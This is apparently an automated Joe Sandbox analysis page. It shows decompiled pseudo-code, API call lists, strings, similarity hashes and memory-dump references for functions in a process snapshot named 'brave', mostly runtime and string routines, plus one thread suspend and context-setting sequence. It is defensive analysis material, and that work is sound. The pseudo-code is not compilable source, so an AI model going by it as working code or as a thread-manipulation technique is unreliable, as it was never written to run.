Download Yara Rule

C-Code - Quality: 53%

			E00007FF77FF755E95AE0(void* __ecx, void* __edi, void* __rax, void* __rcx) {
				char _v1272;
				signed int _t18;
				void* _t39;
				void* _t40;
				void* _t42;
				intOrPtr _t50;
				void* _t51;
				intOrPtr* _t52;

				_t39 = __rax;
				_t51 = __rcx;
				E00007FF77FF755E93190(__edi, __rcx);
				_t42 = _t39;
				if (_t39 == 0) goto 0x55e95bce;
				_t40 =  *((intOrPtr*)(_t39 + 0x28)) - 1;
				if (_t40 - 0xfffffffd > 0) goto 0x55e95bce;
				if (GetHandleInformation(??, ??) == 0) goto 0x55e95bce;
				_t4 = _t42 + 0x38; // 0x38
				E00007FF77FF755E904E0(_t4);
				E00007FF77FF755E92D40(__ecx,  &_v1272);
				if (_t40 == 0) goto 0x55e95d20;
				_t18 =  *(_t42 + 0x40) & 0x000000ff;
				if (_t51 ==  *((intOrPtr*)(_t40 + 0x1d8))) goto 0x55e95ca0;
				if (( *(_t42 + 0x44) & 0x00000003) == 3) goto 0x55e95be8;
				if ((_t18 & 0x00000003) != 0) goto 0x55e95bc0;
				_t52 =  *0x56136920; // 0x7ff756141400
				_t50 =  *_t52;
				 *(_t42 + 0x40) = _t18 & 0xfffffffc | 0x00000001;
				if (_t50 == 0) goto 0x55e95d50;
				if ( *((long long*)(_t50 + 0x18)) == 0) goto 0x55e95d30;
				asm("lock add dword [eax], 0x1");
				if ( *((intOrPtr*)(_t42 + 0x30)) == 0) goto 0x55e95ba8;
				SetEvent(??);
				E00007FF77FF755E90800(_t4);
				return 0;
			}

0x7ff755e95ae0
0x7ff755e95aed
0x7ff755e95af0
0x7ff755e95af5
0x7ff755e95afb
0x7ff755e95b05
0x7ff755e95b0d
0x7ff755e95b23
0x7ff755e95b29
0x7ff755e95b30
0x7ff755e95b35
0x7ff755e95b3d
0x7ff755e95b4a
0x7ff755e95b51
0x7ff755e95b60
0x7ff755e95b68
0x7ff755e95b6a
0x7ff755e95b77
0x7ff755e95b7a
0x7ff755e95b80
0x7ff755e95b8b
0x7ff755e95b95
0x7ff755e95ba0
0x7ff755e95ba2
0x7ff755e95bab
0x7ff755e95bbf

APIs

GetHandleInformation.KERNEL32 ref: 00007FF755E95B1B

Part of subcall function 00007FF755E92D40: TlsGetValue.KERNEL32 ref: 00007FF755E92DA0

SetEvent.KERNEL32 ref: 00007FF755E95BA2
SuspendThread.KERNEL32 ref: 00007FF755E95BFC
WaitForSingleObject.KERNEL32 ref: 00007FF755E95C08
GetThreadContext.KERNEL32 ref: 00007FF755E95C1C
SetThreadContext.KERNEL32 ref: 00007FF755E95C38
SetEvent.KERNEL32 ref: 00007FF755E95C7E
ResumeThread.KERNEL32 ref: 00007FF755E95C90
SetEvent.KERNEL32 ref: 00007FF755E95CE3

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: Thread$Event$Context$HandleInformationObjectResumeSingleSuspendValueWait
String ID:
API String ID: 2335333592-0
Opcode ID: c0454334065818ad910fe9271c82020997dc8f7e4f5c5ab4ac494b7568ff68ad
Instruction ID: d530110ce675f212544efdfc32b20e0d641fb9166a9d5431012c3dc8357ac67e
Opcode Fuzzy Hash: c0454334065818ad910fe9271c82020997dc8f7e4f5c5ab4ac494b7568ff68ad
Instruction Fuzzy Hash: 8581726AE0961281EA65AB25E544379A771FF41F9CFD84132DD1C0F394EF2CE885C3A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755EA7980 Relevance: 13.7, APIs: 6, Strings: 3, Instructions: 177
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E00007FF77FF755EA7980(intOrPtr* __rcx, void* __rdx) {
				void* _t13;

				_t13 = __rdx;
				if (__rdx - 0xfffffff9 > 0) goto 0x55ea79ef;
				E00007FF77FF755EA8580(__rcx, __rdx,  *((intOrPtr*)( *__rcx - 0x18)), __rdx);
				if (_t13 == 0) goto 0x55ea79cc;
				if (_t13 == 1) goto 0x55ea79e0;
				return memset(??, ??, ??);
			}

0x7ff755ea7995
0x7ff755ea79a5
0x7ff755ea79ac
0x7ff755ea79b4
0x7ff755ea79be
0x7ff755ea79d7

APIs

memset.MSVCRT ref: 00007FF755EA79C7
memcpy.MSVCRT ref: 00007FF755EA7BB9

Part of subcall function 00007FF755EA8580: memcpy.MSVCRT ref: 00007FF755EA85FB

Strings

basic_string::_M_replace_aux, xrefs: 00007FF755EA79EF
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF755EA7CB9
basic_string::insert, xrefs: 00007FF755EA7CA3, 00007FF755EA7CB2

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: memcpy$memset
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_replace_aux$basic_string::insert
API String ID: 438689982-1339558951
Opcode ID: 2aa7705d7efa051678438d68cb09cc562f26b0b831d3bb896a7316ff393a9a71
Instruction ID: 7dc7d4bdc36aff60bc512fd191f32efe6a6b6b3c6c0b358226263e4a3fcdd54f
Opcode Fuzzy Hash: 2aa7705d7efa051678438d68cb09cc562f26b0b831d3bb896a7316ff393a9a71
Instruction Fuzzy Hash: EC51E1AAB092B641FA15BA76DA080B8D6535F45FD8FDC4532DE1C4F792DD2CE981C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E991C0 Relevance: 13.6, APIs: 9, Instructions: 129
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E00007FF77FF755E991C0(void* __esi, long long* __rcx, void* __rdx) {
				long long _v72;
				void* _t12;
				long long* _t28;
				intOrPtr _t47;

				_t28 = __rcx;
				if (__rcx == 0) goto 0x55e99380;
				_t47 =  *((intOrPtr*)(__rcx));
				r13d = 0x16;
				if (_t47 == 0) goto 0x55e992b4;
				if (_t47 == 0xffffffff) goto 0x55e992d0;
				_t1 = _t47 + 0x98; // 0x98
				_t3 = _t47 + 0x70; // 0x70
				_v72 = _t1;
				r8d = 0xffffffff;
				_t12 = E00007FF77FF755E99120(0,  *((intOrPtr*)(_t47 + 0xa8)), _t3);
				r13d = _t12;
				if (_t12 != 0) goto 0x55e992b4;
				if (TryEnterCriticalSection(??) == 0) goto 0x55e993c0;
				if ( *((intOrPtr*)(_t47 + 8)) -  *((intOrPtr*)(_t47 + 0x10)) > 0) goto 0x55e99390;
				 *_t28 = 0;
				E00007FF77FF755E98880(1,  *((intOrPtr*)(_t47 + 0xa8)), _t3, _t1);
				CloseHandle(??);
				CloseHandle(??);
				LeaveCriticalSection(??);
				DeleteCriticalSection(??);
				DeleteCriticalSection(??);
				DeleteCriticalSection(??);
				free(??);
				return r13d;
			}

0x7ff755e991ce
0x7ff755e991d4
0x7ff755e991da
0x7ff755e991dd
0x7ff755e991e6
0x7ff755e991f0
0x7ff755e991f6
0x7ff755e99206
0x7ff755e9920d
0x7ff755e99215
0x7ff755e9921b
0x7ff755e99220
0x7ff755e99225
0x7ff755e99243
0x7ff755e99253
0x7ff755e99259
0x7ff755e9926b
0x7ff755e9927f
0x7ff755e99289
0x7ff755e9928e
0x7ff755e9929e
0x7ff755e992a3
0x7ff755e992aa
0x7ff755e992af
0x7ff755e992c5

APIs

Part of subcall function 00007FF755E99120: EnterCriticalSection.KERNEL32(?,?,?,?,00007FF755E99749), ref: 00007FF755E99146
Part of subcall function 00007FF755E99120: LeaveCriticalSection.KERNEL32(?,00007FF755E99749,?,?,?,?,?,?,?,?,?,?,?,00007FF756141400,?), ref: 00007FF755E9916B

TryEnterCriticalSection.KERNEL32 ref: 00007FF755E99233
CloseHandle.KERNEL32 ref: 00007FF755E9927F
CloseHandle.KERNEL32 ref: 00007FF755E99289
LeaveCriticalSection.KERNEL32 ref: 00007FF755E9928E
DeleteCriticalSection.KERNEL32 ref: 00007FF755E9929E
DeleteCriticalSection.KERNEL32 ref: 00007FF755E992A3
DeleteCriticalSection.KERNEL32 ref: 00007FF755E992AA
free.MSVCRT ref: 00007FF755E992AF
LeaveCriticalSection.KERNEL32 ref: 00007FF755E993B1

Part of subcall function 00007FF755E98880: EnterCriticalSection.KERNEL32 ref: 00007FF755E98898
Part of subcall function 00007FF755E98880: ReleaseSemaphore.KERNEL32 ref: 00007FF755E988C6
Part of subcall function 00007FF755E98880: LeaveCriticalSection.KERNEL32 ref: 00007FF755E988D3

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: CriticalSection$Leave$DeleteEnter$CloseHandle$ReleaseSemaphorefree
String ID:
API String ID: 897415695-0
Opcode ID: a0b6630a7d97047e0030e229e683856c82cc15d2976108efe7bffb770ea2e6fd
Instruction ID: d0fdbb7a97a29ba6ecae95d968a900a7d78f8df9b2f089b924cc672c1bdbff2e
Opcode Fuzzy Hash: a0b6630a7d97047e0030e229e683856c82cc15d2976108efe7bffb770ea2e6fd
Instruction Fuzzy Hash: 18519329A08A6690EA20FB22E9547BAA2A4BF45F9CFCC4131CD5D8B3D1CF3CD441D321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E98BA0 Relevance: 13.6, APIs: 9, Instructions: 81COMMON

Download Yara Rule

APIs

calloc.MSVCRT(?,00007FF756141400,00000000,00007FF755E97B97,?,?,?,00007FF755E97CC5,?,?,?,?,00007FF755E97E65,?,00007FF756141400), ref: 00007FF755E98BCC
CreateSemaphoreA.KERNEL32 ref: 00007FF755E98C0C
CreateSemaphoreA.KERNEL32 ref: 00007FF755E98C23
InitializeCriticalSection.KERNEL32(?,00007FF756141400,00000000,00007FF755E97B97,?,?,?,00007FF755E97CC5,?,?,?,?,00007FF755E97E65,?,00007FF756141400), ref: 00007FF755E98C4B
InitializeCriticalSection.KERNEL32(?,00007FF756141400,00000000,00007FF755E97B97,?,?,?,00007FF755E97CC5,?,?,?,?,00007FF755E97E65,?,00007FF756141400), ref: 00007FF755E98C52
InitializeCriticalSection.KERNEL32(?,00007FF756141400,00000000,00007FF755E97B97,?,?,?,00007FF755E97CC5,?,?,?,?,00007FF755E97E65,?,00007FF756141400), ref: 00007FF755E98C59

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: CriticalInitializeSection$CreateSemaphore$calloc
String ID:
API String ID: 2075313795-0
Opcode ID: 7c892f574ebb44d14683540b960821f729198a1c4daf112854c0d4a023215e6b
Instruction ID: 20340b52b1fabe802f2ae889cd3f49e784fb9e3f9b54452c8f1c77c46198e86e
Opcode Fuzzy Hash: 7c892f574ebb44d14683540b960821f729198a1c4daf112854c0d4a023215e6b
Instruction Fuzzy Hash: 9F21E636B0A72285FB55EB25E81CB7A62A4EF44798F8D4135CE1D4B3D0EE3C9881C351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E8E650 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 138
COMMON

Download Yara Rule

C-Code - Quality: 47%

			E00007FF77FF755E8E650(void* __ebx, long __rcx, long long __rdx, long long __r8, long long __r9, long long _a16, long long _a24, long long _a32) {
				void* _v32;
				intOrPtr _v108;
				void* _v144;
				void* _t19;
				void* _t20;
				void* _t22;
				void* _t26;
				intOrPtr _t42;
				long long _t44;
				intOrPtr _t45;
				intOrPtr* _t46;
				long long _t47;
				intOrPtr _t48;
				intOrPtr* _t49;
				intOrPtr _t50;
				void* _t51;
				void* _t52;
				signed long long _t55;
				long long _t59;
				intOrPtr _t64;
				struct _MEMORY_BASIC_INFORMATION* _t67;
				intOrPtr _t76;
				long long _t80;

				_t26 = __ebx;
				_t44 =  &_a16;
				_a16 = __rdx;
				_a24 = __r8;
				_a32 = __r9;
				_v32 = _t44;
				_t20 = E00007FF77FF755EA1D50(_t19, 2, _t44, __rcx);
				r8d = 0x1b;
				0x55ea16c8(_t51);
				_t52 = _v32;
				E00007FF77FF755EA1D50(_t20, 2, _t44, "Mingw-w64 runtime failure:\n");
				_t59 = _t44;
				0x55ea1648();
				0x55ea1710();
				asm("o16 nop [eax+eax]");
				_t80 = _t59;
				if (_t26 <= 0) goto 0x55e8e7f0;
				_t45 =  *0x561410f8; // 0x1815fff720
				_t46 = _t45 + 0x18;
				asm("o16 nop [eax+eax]");
				_t64 =  *_t46;
				if (_t64 - _t80 > 0) goto 0x55e8e70c;
				_t76 =  *((intOrPtr*)(_t46 + 8));
				r8d =  *((intOrPtr*)(_t76 + 8));
				if (_t80 - _t64 + _t76 < 0) goto 0x55e8e793;
				_t47 = _t46 + 0x28;
				if (1 != _t26) goto 0x55e8e6f0;
				_t22 = E00007FF77FF755E8F3C0();
				if (_t47 == 0) goto 0x55e8e812;
				_t48 =  *0x561410f8; // 0x1815fff720
				_t55 =  *0x561410f4 +  *0x561410f4 * 4 << 3;
				_t49 = _t48 + _t55;
				 *((long long*)(_t49 + 0x20)) = _t47;
				 *_t49 = 0;
				E00007FF77FF755E8F4F0(_t22, _t76);
				r8d = 0x30;
				_t50 =  *0x561410f8; // 0x1815fff720
				 *((long long*)(_t50 + _t55 + 0x18)) = _t80 + _t49;
				VirtualQuery(_t52, _t67, __rcx);
				_t42 = _t50;
				if (_t42 == 0) goto 0x55e8e7f7;
				if (_t42 == 0) goto 0x55e8e78c;
				if (_t42 != 0) goto 0x55e8e7a0;
				 *0x561410f4 =  *0x561410f4 + 1;
				return _v108;
			}

0x7ff755e8e650
0x7ff755e8e65a
0x7ff755e8e664
0x7ff755e8e669
0x7ff755e8e66e
0x7ff755e8e673
0x7ff755e8e678
0x7ff755e8e67d
0x7ff755e8e692
0x7ff755e8e697
0x7ff755e8e6a1
0x7ff755e8e6a9
0x7ff755e8e6af
0x7ff755e8e6b4
0x7ff755e8e6ba
0x7ff755e8e6cf
0x7ff755e8e6d4
0x7ff755e8e6da
0x7ff755e8e6e3
0x7ff755e8e6e7
0x7ff755e8e6f0
0x7ff755e8e6f6
0x7ff755e8e6f8
0x7ff755e8e6fc
0x7ff755e8e706
0x7ff755e8e70f
0x7ff755e8e715
0x7ff755e8e71a
0x7ff755e8e725
0x7ff755e8e72b
0x7ff755e8e736
0x7ff755e8e73a
0x7ff755e8e73d
0x7ff755e8e741
0x7ff755e8e747
0x7ff755e8e754
0x7ff755e8e75d
0x7ff755e8e764
0x7ff755e8e769
0x7ff755e8e76f
0x7ff755e8e772
0x7ff755e8e782
0x7ff755e8e78a
0x7ff755e8e78c
0x7ff755e8e79b

APIs

VirtualQuery.KERNEL32 ref: 00007FF755E8E769

Strings

Mingw-w64 runtime failure:, xrefs: 00007FF755E8E688
VirtualProtect failed with code 0x%x, xrefs: 00007FF755E8E7DE
Address %p has no image-section, xrefs: 00007FF755E8E6C0, 00007FF755E8E815
VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF755E8E801

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: QueryVirtual
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 1804819252-1534286854
Opcode ID: 132a4c11c153de298ffea9ed1bdabd017d4d66a2df506e748bccd0aa60d22546
Instruction ID: 327c8b716abdb92444aab9597830b9034645d18269c6ff78923b667c3e997865
Opcode Fuzzy Hash: 132a4c11c153de298ffea9ed1bdabd017d4d66a2df506e748bccd0aa60d22546
Instruction Fuzzy Hash: C051AC7AB08A9681EB10AB51F8416BAB760FB85B99FCC4135EE0D0B394EE3CE445C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E9CD30 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 122COMMON

Download Yara Rule

Strings

%-*.*s, xrefs: 00007FF755E9CEC6
%.*s, xrefs: 00007FF755E9CEB8
%*.*s, xrefs: 00007FF755E9CE75

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID:
String ID: %*.*s$%-*.*s$%.*s
API String ID: 0-4054516066
Opcode ID: 3b4b1a4249cd6db309c4553ff8de0bac3b9e23fda156ad8bb14e5570f57846da
Instruction ID: 90525944983d922c68048c71613a49475918c918de5d016101f0bf9a3255f5be
Opcode Fuzzy Hash: 3b4b1a4249cd6db309c4553ff8de0bac3b9e23fda156ad8bb14e5570f57846da
Instruction Fuzzy Hash: BF5188B6A1826286E760BF35C645779B7B1EF84F9CF988135CA0D5F6C4CB2CE8408760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E9C900 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00007FF77FF755E9C900(void* __edx, void* __rax, void* __rcx, void* __r8) {
				signed int _v72;
				char _v80;
				intOrPtr _t19;
				intOrPtr _t28;
				void* _t40;
				void* _t48;
				void* _t52;
				void* _t53;
				char* _t62;

				_t52 = __rax;
				_t19 =  *((intOrPtr*)(__r8 + 0x10));
				_t53 = __r8;
				if (_t19 < 0) goto 0x55e9c91f;
				_t40 =  >  ? _t19 : __edx;
				r8d =  *((intOrPtr*)(__r8 + 0xc));
				if (( *(__r8 + 8) & 0x00006000) == 0x6000) goto 0x55e9ca28;
				if (_t40 - r8d < 0) goto 0x55e9c9c0;
				 *((intOrPtr*)(__r8 + 0xc)) = 0xffffffff;
				if (_t40 > 0) goto 0x55e9c97b;
				goto 0x55e9ca0d;
				_t62 = __rcx + __rax;
				E00007FF77FF755E9C8A0(_v72 & 0xffff, __r8);
				if (_t40 == 0) goto 0x55e9ca0d;
				_v80 = 0;
				strlen(??);
				E00007FF77FF755EA1940( &_v72, _t62, _t52,  &_v80);
				_t48 = _t52;
				if (_t48 == 0) goto 0x55e9ca0d;
				if (_t48 >= 0) goto 0x55e9c960;
				_v72 =  *_t62;
				goto 0x55e9c965;
				asm("o16 nop [cs:eax+eax]");
				r8d = r8d - _t40 - 1;
				 *((intOrPtr*)(_t53 + 0xc)) = r8d;
				if (0 != 0) goto 0x55e9c94a;
				r8d = r8d - 1;
				 *((intOrPtr*)(_t53 + 0xc)) = r8d;
				E00007FF77FF755E9C8A0(0x20, _t53);
				 *((intOrPtr*)(_t53 + 0xc)) = _t52 - 1;
				if ( *((intOrPtr*)(_t53 + 0xc)) != 0) goto 0x55e9c9e0;
				goto 0x55e9c94a;
				E00007FF77FF755E9C8A0(0x20, _t53);
				_t28 =  *((intOrPtr*)(_t53 + 0xc));
				 *((intOrPtr*)(_t53 + 0xc)) = _t52 - 1;
				if (_t28 > 0) goto 0x55e9ca00;
				return _t28;
			}

0x7ff755e9c900
0x7ff755e9c90a
0x7ff755e9c913
0x7ff755e9c918
0x7ff755e9c91c
0x7ff755e9c922
0x7ff755e9c934
0x7ff755e9c93d
0x7ff755e9c943
0x7ff755e9c956
0x7ff755e9c958
0x7ff755e9c96b
0x7ff755e9c96e
0x7ff755e9c975
0x7ff755e9c97e
0x7ff755e9c989
0x7ff755e9c99a
0x7ff755e9c99f
0x7ff755e9c9a2
0x7ff755e9c9a4
0x7ff755e9c9af
0x7ff755e9c9b4
0x7ff755e9c9b6
0x7ff755e9c9c0
0x7ff755e9c9c3
0x7ff755e9c9ca
0x7ff755e9c9d0
0x7ff755e9c9d4
0x7ff755e9c9e8
0x7ff755e9c9f3
0x7ff755e9c9f8
0x7ff755e9c9fa
0x7ff755e9ca08
0x7ff755e9ca0d
0x7ff755e9ca13
0x7ff755e9ca18
0x7ff755e9ca24

Strings

%-*.*S, xrefs: 00007FF755E9CA76
%*.*S, xrefs: 00007FF755E9CA3D
%.*S, xrefs: 00007FF755E9CA68

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID:
String ID: %*.*S$%-*.*S$%.*S
API String ID: 0-2115465065
Opcode ID: 7168d2604b3189bc1086008fb78c7252569c5abbf682eefe2c3ff4568daf00a2
Instruction ID: b58e2b064ca4a27a538369a979cc3312e062cf392b17c79f751cc83da05d3421
Opcode Fuzzy Hash: 7168d2604b3189bc1086008fb78c7252569c5abbf682eefe2c3ff4568daf00a2
Instruction Fuzzy Hash: C241A46BF1866246E750BB26DA04679E3A0AB85F98FCCC131DA0D5F7C5DE3CE4408B20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755EA45C0 Relevance: 10.7, APIs: 5, Strings: 2, Instructions: 215stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF755EA45E9
memcmp.MSVCRT ref: 00007FF755EA4608
memcmp.MSVCRT ref: 00007FF755EA4696
memcmp.MSVCRT ref: 00007FF755EA4718

Part of subcall function 00007FF755EB1250: strlen.MSVCRT ref: 00007FF755EB126E

memcmp.MSVCRT ref: 00007FF755EA47C4

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF755EA4649, 00007FF755EA46D3, 00007FF755EA4755, 00007FF755EA4801, 00007FF755EA481A
basic_string::compare, xrefs: 00007FF755EA4642, 00007FF755EA46CC, 00007FF755EA474E, 00007FF755EA47FA, 00007FF755EA4813

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
